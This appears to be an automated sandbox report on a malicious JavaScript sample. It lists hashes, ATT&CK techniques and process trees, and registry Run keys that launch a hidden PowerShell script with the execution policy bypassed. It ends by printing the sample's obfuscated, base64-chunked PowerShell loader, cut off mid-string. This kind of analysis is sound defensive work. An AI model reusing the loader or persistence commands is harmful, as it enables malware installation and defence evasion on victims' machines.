142fea13fe6b0188f30ef83d52d0066c94174d40d3e8fd0e85e3f33275e575d4

Analysis

max time kernel
298s
max time network
227s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
17337820260910_123722_5c15d2cfca.js
Size 1.2MB
Sample260910-sy2njsdm7z
SHA256 142fea13fe6b0188f30ef83d52d0066c94174d40d3e8fd0e85e3f33275e575d4
MD5 bb541b6dcda55264f690b8ca99eb875a
SHA1 162a69b2e898c179dd427c45419d989b961a48ec
SHA512 dd798514bf74671d5f298ab88b4b098cd79acd42a727f230e4c94d31146e793cb0c758561492ae93c9206024cde8c7b8586b4ae40ca1debbcb3928d57efccafb
SSDEEP 24576:6eXvk01dCiTLgQx5ee/HgeXvk01dCiTLgQx5ee/HneXvk01dCiTLgQx5ee/HgeXd:6eXvk01dCiTLgQx5ee/HgeXvk01dCiTY
TLSH
T11F552024357F930874A751CCBDAC1A6246B6F3BA9A3F26A886712D8C23D3D024DD5F53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4092	powershell.exe
9	3776	powershell.exe
11	3776	powershell.exe
12	3776	powershell.exe
13	3776	powershell.exe
15	3776	powershell.exe
16	3776	powershell.exe
20	3776	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5752	powershell.exe
4132	powershell.exe
6020	powershell.exe
1960	powershell.exe
4092	powershell.exe
3776	powershell.exe
932	powershell.exe

Deletes itself 1 IoCs

pid	Process
5316	wscript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers-Update-428 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\qqboc.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-671 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\qqboc.ps1\""	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3776	powershell.exe
3776	powershell.exe
1960	powershell.exe
1960	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4656	cmd.exe
2760	cmd.exe
3884	cmd.exe
2148	cmd.exe
2156	cmd.exe
2096	cmd.exe
3940	cmd.exe
1912	cmd.exe
2972	cmd.exe
5760	cmd.exe
4832	cmd.exe
4636	cmd.exe
1236	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 26 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2096	cmd.exe
3940	cmd.exe
2972	cmd.exe
4636	cmd.exe
1288	PING.EXE
2364	PING.EXE
4656	cmd.exe
2148	cmd.exe
4172	PING.EXE
4576	PING.EXE
2156	cmd.exe
4832	cmd.exe
5420	PING.EXE
4564	PING.EXE
2760	cmd.exe
2236	PING.EXE
3884	cmd.exe
3948	PING.EXE
3492	PING.EXE
1560	PING.EXE
1236	cmd.exe
1912	cmd.exe
5760	cmd.exe
3740	PING.EXE
5512	PING.EXE
716	PING.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4240	ipconfig.exe
2388	ipconfig.exe

Runs ping.exe 1 TTPs 13 IoCs

Remote System Discovery

T1018

pid	Process
1288	PING.EXE
2364	PING.EXE
716	PING.EXE
3948	PING.EXE
4172	PING.EXE
4576	PING.EXE
3740	PING.EXE
5512	PING.EXE
4564	PING.EXE
2236	PING.EXE
3492	PING.EXE
1560	PING.EXE
5420	PING.EXE

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
4132	powershell.exe
4132	powershell.exe
4092	powershell.exe
4092	powershell.exe
3776	powershell.exe
3776	powershell.exe
3776	powershell.exe
5752	powershell.exe
5752	powershell.exe
5752	powershell.exe
3776	powershell.exe
3776	powershell.exe
3776	powershell.exe
932	powershell.exe
932	powershell.exe
3776	powershell.exe
932	powershell.exe
6020	powershell.exe
6020	powershell.exe
6020	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1960	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5752	powershell.exe
Token: SeSecurityPrivilege	5752	powershell.exe
Token: SeTakeOwnershipPrivilege	5752	powershell.exe
Token: SeLoadDriverPrivilege	5752	powershell.exe
Token: SeSystemProfilePrivilege	5752	powershell.exe
Token: SeSystemtimePrivilege	5752	powershell.exe
Token: SeProfSingleProcessPrivilege	5752	powershell.exe
Token: SeIncBasePriorityPrivilege	5752	powershell.exe
Token: SeCreatePagefilePrivilege	5752	powershell.exe
Token: SeBackupPrivilege	5752	powershell.exe
Token: SeRestorePrivilege	5752	powershell.exe
Token: SeShutdownPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeSystemEnvironmentPrivilege	5752	powershell.exe
Token: SeRemoteShutdownPrivilege	5752	powershell.exe
Token: SeUndockPrivilege	5752	powershell.exe
Token: SeManageVolumePrivilege	5752	powershell.exe
Token: 33	5752	powershell.exe
Token: 34	5752	powershell.exe
Token: 35	5752	powershell.exe
Token: 36	5752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5752	powershell.exe
Token: SeSecurityPrivilege	5752	powershell.exe
Token: SeTakeOwnershipPrivilege	5752	powershell.exe
Token: SeLoadDriverPrivilege	5752	powershell.exe
Token: SeSystemProfilePrivilege	5752	powershell.exe
Token: SeSystemtimePrivilege	5752	powershell.exe
Token: SeProfSingleProcessPrivilege	5752	powershell.exe
Token: SeIncBasePriorityPrivilege	5752	powershell.exe
Token: SeCreatePagefilePrivilege	5752	powershell.exe
Token: SeBackupPrivilege	5752	powershell.exe
Token: SeRestorePrivilege	5752	powershell.exe
Token: SeShutdownPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeSystemEnvironmentPrivilege	5752	powershell.exe
Token: SeRemoteShutdownPrivilege	5752	powershell.exe
Token: SeUndockPrivilege	5752	powershell.exe
Token: SeManageVolumePrivilege	5752	powershell.exe
Token: 33	5752	powershell.exe
Token: 34	5752	powershell.exe
Token: 35	5752	powershell.exe
Token: 36	5752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5752	powershell.exe
Token: SeSecurityPrivilege	5752	powershell.exe
Token: SeTakeOwnershipPrivilege	5752	powershell.exe
Token: SeLoadDriverPrivilege	5752	powershell.exe
Token: SeSystemProfilePrivilege	5752	powershell.exe
Token: SeSystemtimePrivilege	5752	powershell.exe
Token: SeProfSingleProcessPrivilege	5752	powershell.exe
Token: SeIncBasePriorityPrivilege	5752	powershell.exe
Token: SeCreatePagefilePrivilege	5752	powershell.exe
Token: SeBackupPrivilege	5752	powershell.exe
Token: SeRestorePrivilege	5752	powershell.exe
Token: SeShutdownPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeSystemEnvironmentPrivilege	5752	powershell.exe
Token: SeRemoteShutdownPrivilege	5752	powershell.exe
Token: SeUndockPrivilege	5752	powershell.exe
Token: SeManageVolumePrivilege	5752	powershell.exe
Token: 33	5752	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 5316 wrote to memory of 4788	5316	wscript.exe	89
PID 4788 wrote to memory of 4132	4788	wscript.exe	90
PID 4132 wrote to memory of 4092	4132	powershell.exe	92
PID 4092 wrote to memory of 4240	4092	powershell.exe	93
PID 4092 wrote to memory of 2388	4092	powershell.exe	94
PID 4092 wrote to memory of 612	4092	powershell.exe	95
PID 4092 wrote to memory of 108	4092	powershell.exe	96
PID 4092 wrote to memory of 432	4092	powershell.exe	97
PID 4092 wrote to memory of 3776	4092	powershell.exe	98
PID 3776 wrote to memory of 2760	3776	powershell.exe	100
PID 2760 wrote to memory of 2236	2760	cmd.exe	101
PID 3776 wrote to memory of 3884	3776	powershell.exe	102
PID 3776 wrote to memory of 2148	3776	powershell.exe	103
PID 3776 wrote to memory of 3940	3776	powershell.exe	104
PID 3776 wrote to memory of 1912	3776	powershell.exe	105
PID 3776 wrote to memory of 2972	3776	powershell.exe	106
PID 3884 wrote to memory of 3948	3884	cmd.exe	107
PID 1912 wrote to memory of 1560	1912	cmd.exe	108
PID 3940 wrote to memory of 3492	3940	cmd.exe	109
PID 2148 wrote to memory of 4576	2148	cmd.exe	110
PID 2972 wrote to memory of 4172	2972	cmd.exe	111
PID 3776 wrote to memory of 2156	3776	powershell.exe	112
PID 3776 wrote to memory of 2096	3776	powershell.exe	113
PID 3776 wrote to memory of 5760	3776	powershell.exe	114
PID 3776 wrote to memory of 4832	3776	powershell.exe	115
PID 3776 wrote to memory of 4636	3776	powershell.exe	116
PID 2156 wrote to memory of 3740	2156	cmd.exe	117
PID 2096 wrote to memory of 1288	2096	cmd.exe	118
PID 4832 wrote to memory of 5420	4832	cmd.exe	119
PID 5760 wrote to memory of 5512	5760	cmd.exe	120
PID 4636 wrote to memory of 2364	4636	cmd.exe	121
PID 3776 wrote to memory of 5752	3776	powershell.exe	122
PID 3776 wrote to memory of 5028	3776	powershell.exe	124
PID 3776 wrote to memory of 4048	3776	powershell.exe	125
PID 3776 wrote to memory of 1424	3776	powershell.exe	126
PID 3776 wrote to memory of 1236	3776	powershell.exe	127
PID 3776 wrote to memory of 4656	3776	powershell.exe	128
PID 4656 wrote to memory of 716	4656	cmd.exe	129
PID 1236 wrote to memory of 4564	1236	cmd.exe	130
PID 3776 wrote to memory of 4532	3776	powershell.exe	131
PID 3776 wrote to memory of 932	3776	powershell.exe	132
PID 3776 wrote to memory of 6020	3776	powershell.exe	133
PID 3776 wrote to memory of 1960	3776	powershell.exe	134
PID 3776 wrote to memory of 996	3776	powershell.exe	136

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\17337820260910_123722_5c15d2cfca.js
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:5316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\pwxsb.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$zvttg = $null ;;$sPaFf ;;$zXkuP ;;$zXkuP = 'O1Ns' + 'ZW' + 'VwIDY7DQp' + '0' + 'cnl7DQoNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVs' + 'ZW' + 'FzZSB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO2lwY2' + ' + 9 + ' + 'uZmlnIC' + ' + 9 + ' + 'y' + 'ZW' + '5ldyB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO25ldHNoIHdpbnNvY2sgcmVzZXQgfCBPdXQtTnVsbDsNCjtuZXRzaCBpbnQgaX' + 'A' + 'gcmVzZXQgfCBPdXQtTnVsbDsNCjsNCg' + '0' + 'KJGE4S21McC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoMTExNzg' + '0' + 'NjYpIDsNCiRkOEdoID' + '0' + 'gQCgyMzUsMzcsMjUwLDIyNiwxMj' + 'A' + 'sMTkxLDExMCw3MSwyMz' + 'A' + 'sMjExLDQyLDI' + '0' + 'MSwxMDIsMTc1LDEzNiwxODIsMjMyLDE5LDIyNiwyMzcsMT' + 'A' + '5LDIxNywxMjIsMTIxLDIwOSwyMDksMTE3LDI' + '0' + 'MSw4MiwxODQsMTY1LDEzOCwyNDIsMzQsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MywyMDUsMTY1LDg3LDIyNywxMjYsMTM' + '0' + 'LDE2MiwxODEsMjEwLDEyMSwxOTIsMjExLDY3LDE5MCw5LDcsMjIyLDE4NSwxMTgsMTY2LDEyNiwxMz' + 'A' + 'sMTQwLDI' + '0' + 'NywyMzUsMTksMjMwLDI1NSwxMDQsMj' + 'A' + 'zLDQsOD' + 'A' + 'sMjIxLDIxMSwzOSwyMjcsODMsMTM' + '0' + 'LDE3OCwyNDUsMjEzLDEyLDE' + '0' + 'OCwyND' + 'A' + 'sMTIwLDIxMiwxMT' + 'A' + 'sNiwyMjEsMTgyLDEwNSwyMz' + 'A' + 'sMTI2LDEzNCwxNzgsMjQzLDIwOCwxOSwyNTQsMjU1LDEwNCwxOTYsMTE' + '0' + 'LDkzLDIyMSwxODIsNDIsMjQxLDEyMCwxODIsMTM5LDE2NiwyNDgsOCwyMzcsMjQwLDY5LDE5NiwxMTgsMiwyMDUsMTY5LDEwOSwyMjEsMTI2LDEzMCwxNjUsMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOTIsMjI5LDIxMSw5MSwxNjcsODYsMTUzLDEzNiwxNTEsMjExLDM4LDE1NiwyND' + 'A' + 'sMTEzLDIyMywxMjYsODUsMj' + 'A' + '5LDE' + '0' + 'MCw3MiwyNTEsMTExLDE' + '0' + 'NiwyMDksMTMxLDIxMCwxMj' + 'A' + 'sMjI2LDI1MSw2NywyMTksMTE4LDY4LDIyNSwxNzgsNDMsMjIyLDEwOSwxNTMsMTgyLDE' + '0' + 'OCwyMTIsMTksMjM4LDI1MSwxMDYsMj' + 'A' + '3LDg4LDk5LDIyNSwxODUsODMsMjQ4LDEyNiwxMz' + 'A' + 'sMTUxLDE2NiwyNTEsMTIwLDI1NCwyNTEsNjcsMjIzLDksMTIxLDIyMSwxNzgsMTI1LDI' + '0' + 'MSwxMjQsMTg' + '0' + 'LDE2NSwxNzUsMjExLDM4LDIzNCwyNDksMTIzLDIyMyw5NSw4MCwyMDcsMTUyLDk1LDI' + '0' + 'OCw4NSwxNT' + 'A' + 'sMTc4LDE4MCwyMTMsOCwxNTMsMjEzLDY5LDIxMiwxMDksODksMj' + 'A' + '1LDE2MiwxMDksMjQxLDEyNSwyNDMsMjIxLDE4MSwyMzIsMTksMjU' + '0' + 'LDIzMSw2NywxOT' + 'A' + 'sOCw2NiwyMTMsMTgyLDQ3LDIzNiw4NiwxNDYsMTM1LDE2NiwyNT' + 'A' + 'sNT' + 'A' + 'sMjM3LDI' + '0' + 'OSwxMTksMjEyLDExMCw3MSwyMz' + 'A' + 'sMTY5LDgzLDI' + '0' + 'OCwxMjQsMTQ2LDE2NSwyNDYsMjQyLDM' + '0' + 'LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI1LDEzMiwxNTEsMjQ' + '0' + 'LDIyNiwzOSwyNTQsMjE3LDY3LDIwNywxMjUsMTQsMj' + 'A' + '1LDE2Miw3NiwyMjgsMTEwLDE' + '0' + 'OSwxNzgsMTc3LDIxMiwyOSwyNT' + 'A' + 'sMjI2LDY3LDIyMyw5LDEyNywyMjIsMTg1LDc2LDIwOSw4NiwxNT' + 'A' + 'sMTc4LDE3OCwyMzUsOCwyMDMsMjQ5LDEyMCwyMTksMTMsNzcsMjI5LDE3OCwxMjUsMjQxLDEyNCwxODQsMTY1LDE3NSwyMjQsMTIxLDE' + '0' + 'OSwyMjYsNjksMj' + 'A' + 'zLDEwNiwzLDIyNCwxNjIsMTI1LDIyOSwxMjUsMjQxLDIwOSwxODMsMjExLDM5LDIzNywyNDksMT' + 'A' + '' + '0' + 'LDIwNyw3OSw4MCwyMDYsMjEwLDcyLDI1NSw4NSwxMzQsMTM2LDE3MSwyNTMsMTMsMjI2LDE2NywxMj' + 'A' + 'sMjIzLDk1LDgwLDIwNywxNTIsOTUsMjQ4LDgzLDEzNCwxMzYsMTcxLDI1MSw1MCwxOTksMjI2LDExNSwxOT' + 'A' + 'sMT' + 'A' + '2LDcsMjEwLDE' + '0' + 'MCw4OCwyMjksODMsMTUwLDE3NywxNzQsMjUxLDEyLDE1MywxNjYsNjcsMj' + 'A' + 'zLDc1LDcxLDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNiw3MSwyMjIsMTM2LDk1LDI' + '0' + 'OSwxMjUsMTMyLDE1MSwyNDQsMjI2LDM5LDI1NCwyMTcsNjcsMj' + 'A' + '3LDEyNSw2NywyMz' + 'A' + 'sMTQwLDc1LDI' + '0' + 'MSwxMjUsMTM' + '0' + 'LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMT' + 'A' + '5LDIxOSwxMjIsNjYsMjIyLDE2Miw5NSwyNTMsMT' + 'A' + 'wLDE4NywxMzYsMTM4LDIzMSwxNCwxNTcsMjI4LDEwNCwyMDcsMTMsNjYsMjIyLDE3OCw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjYsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsMTMsMjE2LDE5Niw2OSwyMTksOSw3LDIyOSwxODIsNDcsMjUwLDEyMywxNz' + 'A' + 'sMTM2LDE4MCwyMTMsMTIsMjUwLDIzOCw2NywxOTEsMTI2LDk5LDIyMiwxODUsODQsMTY' + '0' + 'LDg2LDE1MCwxNz' + 'A' + 'sMTczLDIxMCw1MCwxNTMsMjE3LDEyMCwyMTIsMTE4LDc3LDIyOSwxNjYsODgsMjI5LDExMSwxNDksMTM5LDI' + '0' + 'NywyMzEsMTIwLDIzMCwyMzEsNjksMj' + 'A' + 'zLDEwNiwxMjUsMjMwLDE' + '0' + 'Myw3OSwyMzYsMTIyLDE2OCwxMzEsMTcwLDIyNiw' + '0' + 'OSwxOTIsMjIwLDExOSwyMDEsMTMsNjgsMj' + 'A' + 'wLDE2Miw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjUsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDgxLDE' + '0' + 'NCwxMzksMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sNzEsMjIzLDEyNiw5MywyMjEsMTg1LDc2LDI1Miw4NiwxMz' + 'A' + 'sMTY2LDI' + '0' + 'NiwyMTUsMjYsMTk1LDIyMCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDUsMTYyLDgzLDI' + '0' + 'MSwxMjIsMTg' + '0' + 'LDIwOCwxNjYsMjI3LDI5LDI1NCwyMDcsMT' + 'A' + '' + '0' + 'LDIwMywxMTgsNjgsMjI5LDE4Miw' + '0' + 'MywyNTMsMTI2LDEzMCwxND' + 'A' + 'sMTgyLDIzMiwxOSwyNTQsMjUzLDY' + '0' + 'LDIwNywxMjYsOTIsMjIyLDE3OCw5MiwyMDgsODMsMTM3LDEyOCwxMzUsMjEzLDM4LDI1MCwyMjYsNjksMj' + 'A' + 'yLDg4LDc4LDIyOSwxODUsNzYsMjUwLDEyNiwxMzQsMTc4LDE4MSwyNDgsMTIsMTUzLDE2NywxMjMsMj' + 'A' + 'zLDY4LDY4LDIwNywxNzgsOTIsMjU1LDg1LDEzNCwyMjEsMTcxLDIwOCw1MCwyMzgsMj' + 'A' + '5LDExOSwyMDIsOTUsOD' + 'A' + 'sMj' + 'A' + 'zLDE1MCwxMTMsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyMTMsMywyMz' + 'A' + 'sMTYyLDEwNCwxOTYsNzksMTI' + '0' + 'LDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsOCwyMzcsMjUyLDY' + '0' + 'LDE4OSwxMDIsNzgsMjMwLDE4NSw3MiwyMjcsMT' + 'A' + 'xLDE2OCwxNjUsMjQ4LDI' + '0' + 'OCw4LDIwNywyMj' + 'A' + 'sMTE4LDE4OCwxMT' + 'A' + 'sNjgsMjMwLDE2NCwxMTQsMjI2LDg' + '0' + 'LDEzNCwyMjEsMTg' + '0' + 'LDIxMyw4LDIwMywyNTQsMT' + 'A' + '' + '0' + 'LDIyNSw3Miw5MSwyMzEsMTQwLDQzLDI1MCw4NSwxMzMsMTY5LDE4NCwyNDgsMzQsMjI5LDIzMSwxMjEsMjIzLDEyNiw2NCwyMjQsMTgyLDg' + '0' + 'LDIyOSw4NiwxNT' + 'A' + 'sMTY5LDE2NiwyMT' + 'A' + 'sMTIwLDI1NCwyNTUsNjksMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjYsNzIsMTYyLDgzLDEzNCwxNzgsMTg' + '0' + 'LDIxMSwzNCwyMzgsMjIxLDY3LDIyNiwxMT' + 'A' + 'sMT' + 'A' + 'yLDIyNCwxNjksODcsMjQxLDEwMSwyNDMsMTc4LDI' + '0' + 'MSwyMjgsMywyMz' + 'A' + 'sMjI1LDEyMCwxODgsMTIyLDkyLDIyMiwxNjksODQsMjUwLDg' + '0' + 'LDI' + '0' + 'MiwxNjksMTc' + '0' + 'LDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIwNSwxNjYsMTIxLDIyOSwxMjYsMTM3LDE3MCwyNDEsMjEwLDM4LDE5MiwyMjYsMTIzLDI' + '0' + 'NSwxMjYsNjYsMj' + 'A' + '3LDE3OCw5NSwxNjEsMTE2LDE3MywxNDQsMTMyLDIxMSwxMiwyMTIsMjIxLDY3LDIxMiwxMjYsNjUsMjMxLDE' + '0' + 'Myw3OSwyNDksMTI2LDE2OCwxNzQsMTc5LDIzNSwxOSwyMz' + 'A' + 'sMjI2LDEyMywyMTksNzUsNzcsMj' + 'A' + 'xLDEzNiw4NywyNTUsMTI' + '0' + 'LDE1MSwyMTIsMTY2LDIxMCwzLDI1MCwyNTQsNjcsMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjksOD' + 'A' + 'sMTY2LDExMCwxNTMsMTgyLDE3NywyMzIsNT' + 'A' + 'sMjM4LDI1MSw2OCwxOTYsMTEwLDkxLDIzMSwxND' + 'A' + 'sNDIsMjQxLDEwMCwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyMjgsMywyNTQsMjM4LDEwNCwyMDEsNjgsNjUsMjIxLDE4Miw3NiwyMTksODYsMTUwLDE3NCwxODQsMjMyLDE5LDIzMCwxNjIsMT' + 'A' + '2LDE5NiwxMTQsNywyMzEsMTQwLDExNCwyMjcsMT' + 'A' + '5LDE4NCwxNjYsMTgwLDI1MCwyNCwyMzcsMTYwLDk4LDIyNCw3MiwxMTQsMjMwLDE2NiwxMDIsMjIwLDg1LDE1MywxNjYsMTgzLDIxMCwzNywyNTMsMjQ4LDEwNCwyMjksMTE4LDY5LDIyMiwxODUsODQsMjI3LDEwOSwxNT' + 'A' + 'sMTQ3LDE4NywyNTIsMzQsMjI5LDI1NCwxMDYsMjE4LDEyLDgwLDIzMSwxNjksNzIsMjU1LDg1LDEzNCwxMzYsMTcxLDI' + '0' + 'OCwzLDIyNiwxNjcsMTIwLDIxMiwxMT' + 'A' + 'sNzEsMjIxLDE1Miw5MiwyNT' + 'A' + 'sODIsMTM3LDE4MiwxNzMsMjEwLDM4LDE1MiwyND' + 'A' + 'sMTIwLDIyNSw1LDY1LDIzMCwxNjIsOTIsMTkzLDg2LDE1MywxNzQsMjQxLDIxMywyOCwyMzQsMjI4LDExNiwxOTYsMTE4LDY1LDIyNCwxNjYsNzIsMjUyLDgzLDEzMCwxND' + 'A' + 'sMTM5LDIxMSwzNywyNTQsMTk4LDY5LDE5NiwxMTcsOD' + 'A' + 'sMjIxLDE3OCwxMDUsMjQxLDk3LDE' + '0' + 'OCwxMzYsMTgwLDIxMywxMywyMzgsMTY3LDY2LDIyOSwxMjYsNzcsMj' + 'A' + 'wLDE2Miw5MiwxNjcsODYsMTUwLDIwOSwyNDEsMjQ4LDMsMjM3LDIyOCwxMDQsMj' + 'A' + 'zLDUsNiwyMjQsMTYyLDkyLDE2Nyw4NiwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyNDgsMTIsMTQ4LDIzMSwxMDQsMj' + 'A' + 'wLDc5LDg5LDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MiwyMjksMjExLDkxLDE2Nyw4NiwxNTMsMTM2LDE1MSwyMTEsMzgsMTU2LDI' + '0' + 'MCwxMTMsMjIzLDEyNiwxMTcsMjIyLDE2Niw3OSwyMjYsOTcsMTM3LDEzNiwxODIsMjM1LDI' + '0' + 'LDIzNywyMjcsMTE3LDIxOSwxMDYsNjcsMjIxLDE' + '0' + 'MCw3MiwyMzksMT' + 'A' + 'xLDEzNCwxNzgsMTcyLDIwOCwyOCwxNTMsMjMxLDY5LDIwMyw4MCw2NSwyMz' + 'A' + 'sMTM2LDk1LDI1Myw4NiwyND' + 'A' + 'sMTkwLDE4NCwyMTEsMTksMjUwLDIyNiwxMTUsMjI5LDEyNSw2NywyMDgsMTQwLDg4LDIyNiwxMDksMTQ2LDE2NSwxNzUsMjI3LDI5LDI1NCwyMDcsMTEyLDIyNSw2OCw3MSwyMz' + 'A' + 'sMTQwLDc5LDI' + '0' + 'OCwxMjYsMTMwLDIxMywxNDQsMjMyLDE5LDIyNiwyMzcsMTE5LDIwMyw4NCw3OCwyMjQsMTc4LDk1LDE2MSwxMTYsMTY4LDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDYsMTY3LDg' + '0' + 'LDI1NCwxMjEsMTUwLDEzMSwxNjYsMjI1LDI' + '0' + 'LDIzNywyNTIsNjQsMTkwLDEyMSw2LDIyOSwxODUsMTE' + '0' + 'LDE5Miw4NSwxNzIsMjEyLDI' + '0' + 'NywyNTQsMzIsMjEyLDIyNSwxMj' + 'A' + 'sMjE5LDExMCwxMjIsMjI5LDE4Miw4NCwyMzksMTEwLDE1MywxNzQsMjQ' + '0' + 'LDI1MCw4LDIwMCwyMjYsNjksMj' + 'A' + 'zLDExMCw2OCwyMz' + 'A' + 'sMTYyLDQzLDI1Myw4NSwxMzQsMTQ3LDE3NSwyNT' + 'A' + 